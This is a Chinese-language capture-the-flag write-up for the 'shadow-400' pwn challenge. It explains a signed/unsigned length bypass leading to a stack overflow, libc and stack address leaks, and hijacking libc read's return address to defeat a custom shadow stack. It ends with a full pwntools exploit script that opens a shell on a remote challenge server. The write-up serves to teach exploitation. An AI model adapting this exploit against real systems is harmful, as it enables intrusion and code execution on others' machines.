shadow-400
首先,檢查一下程序的保護機制
然後,我們用IDA分析一下
程序裏面自己實現了call和ret
call函數
push函數
這是主功能區
看不出什麼,我們來分析彙編代碼
atoi的結果是一個有符號的數,而getline的長度參數爲無符號數,爲了繞過0x20個長度的限制,我們只需輸入負數,即可,就可以棧溢出了。
首先,我們需要泄露libc地址,那麼我們只需泄露任意一個libc函數地址即可,我們可以棧溢出,覆蓋ebp+arg_0裏面的指針爲函數的got表,即可泄露了,同時,爲了增加利用次數,我們把[ebp+arg8]覆蓋爲一個很大的數,比如0x100
原本只能利用3次,現在,我們覆蓋了[ebp+arg_8]的值,就可以多次利用了
- #覆蓋指針,覆蓋getline的長度,覆蓋循環最大次數,用於泄露函數地址及多次利用
- payload = 'a'*0x34 + p32(atoi_got) + p32(0x100) + p32(0x100)
- setMessage(payload)
- sh.recvuntil('<')
- atoi_addr = u32(sh.recv(4))
- print 'atoi_addr=',hex(atoi_addr)
- libc = LibcSearcher('atoi',atoi_addr)
- libc_base = atoi_addr - libc.dump('atoi')
- system_addr = libc_base + libc.dump('system')
- binsh_addr = libc_base + libc.dump('str_bin_sh')
現在,我們可以構造ROP了??
如果是一般的步驟,直接構造ROP就可以getshell了,然而,本題沒有這麼簡單。本題自己實現了個shadow call和shadow ret,自己申請了一片空間專門用來管理返回地址,因此,我們覆蓋棧裏的當前函數的返回地址沒有用。因爲ret()函數是從自己的那片空間裏取出地址返回。
也就是說,只要是這個二進制裏的幾個函數都不行,那麼我們可以考慮劫持libc中的函數的返回地址。因爲libc中沒有使用這個shadow call和ret。
我們可以直接劫持read的返回地址,這樣read結束後直接就執行ROP了。
注意到這裏,利用之前的棧溢出,我們覆蓋[ebp+arg_0]指針可以實現任意地址讀寫,如果本題沒有FULL RELRO,我們都可以直接在這裏修改GOT表了。
我們只需把[ebp+arg_0覆蓋爲] read的返回地址在棧裏存放的位置,然後在這裏輸入ROP即可
因此,我們還需要泄露棧地址,這樣才能確定read返回地址存放的位置。有兩種方法泄露棧地址
- 在程序最開始的時候,輸入的name長度爲16,並且沒有空字符,即可輸出棧後面的數據,就能得到裏面的數據。
- 覆蓋指針爲libc中的environ變量的地址,environ變量保存着棧地址。
這裏,我使用的是第1中方法。因此,程序第一次輸入的時候,我們這樣
- #泄露棧地址,然後,我們可以計算出劫持read的返回地址存放在棧裏的位置
- setName('zhaohai'.ljust(0x10,'a'))
- setMessage('hello,I am zhaohai')
- sh.recvuntil('<')
- sh.recv(0x1C)
- stack_addr = u32(sh.recv(4))
- changeName('n')
- print 'stack_addr=',hex(stack_addr)
- #我們需要利用setName修改這個地方,這裏是libc中read返回地址存放處,這裏佈下ROP即可
- target_addr = stack_addr - 0x100
綜上,我們完整的exp腳本
#coding:utf8
from pwn import *
from LibcSearcher import *
#sh = process('./shadow-400')
sh = remote('111.198.29.45',54578)
elf = ELF('./shadow-400')
atoi_got = elf.got['atoi']
def setName(name):
sh.sendafter('Input name :',name)
def setMessage(message):
#-1轉換爲無符號數,就很大,造成read溢出棧
sh.sendlineafter('Message length :','-1')
sh.sendafter('Input message :',message)
def changeName(c):
sh.sendlineafter('Change name?',c)
#泄露棧地址,然後,我們可以計算出劫持read的返回地址存放在棧裏的位置
setName('zhaohai'.ljust(0x10,'a'))
setMessage('hello,I am zhaohai')
sh.recvuntil('<')
sh.recv(0x1C)
stack_addr = u32(sh.recv(4))
changeName('n')
print 'stack_addr=',hex(stack_addr)
#我們需要利用setName修改這個地方,這裏是libc中read返回地址存放處,這裏佈下ROP即可
target_addr = stack_addr - 0x100
#覆蓋指針,覆蓋getline的長度,覆蓋循環最大次數,用於泄露函數地址及多次利用
payload = 'a'*0x34 + p32(atoi_got) + p32(0x100) + p32(0x100)
setMessage(payload)
sh.recvuntil('<')
atoi_addr = u32(sh.recv(4))
print 'atoi_addr=',hex(atoi_addr)
libc = LibcSearcher('atoi',atoi_addr)
libc_base = atoi_addr - libc.dump('atoi')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
changeName('n')
#覆蓋指針,然後我們利用setName寫數據到目標處
payload = 'a'*0x34 + p32(target_addr)
setMessage(payload)
#現在,可以發送ROP了
rop = p32(system_addr) + p32(0) + p32(binsh_addr)
setName(rop)
sh.interactive()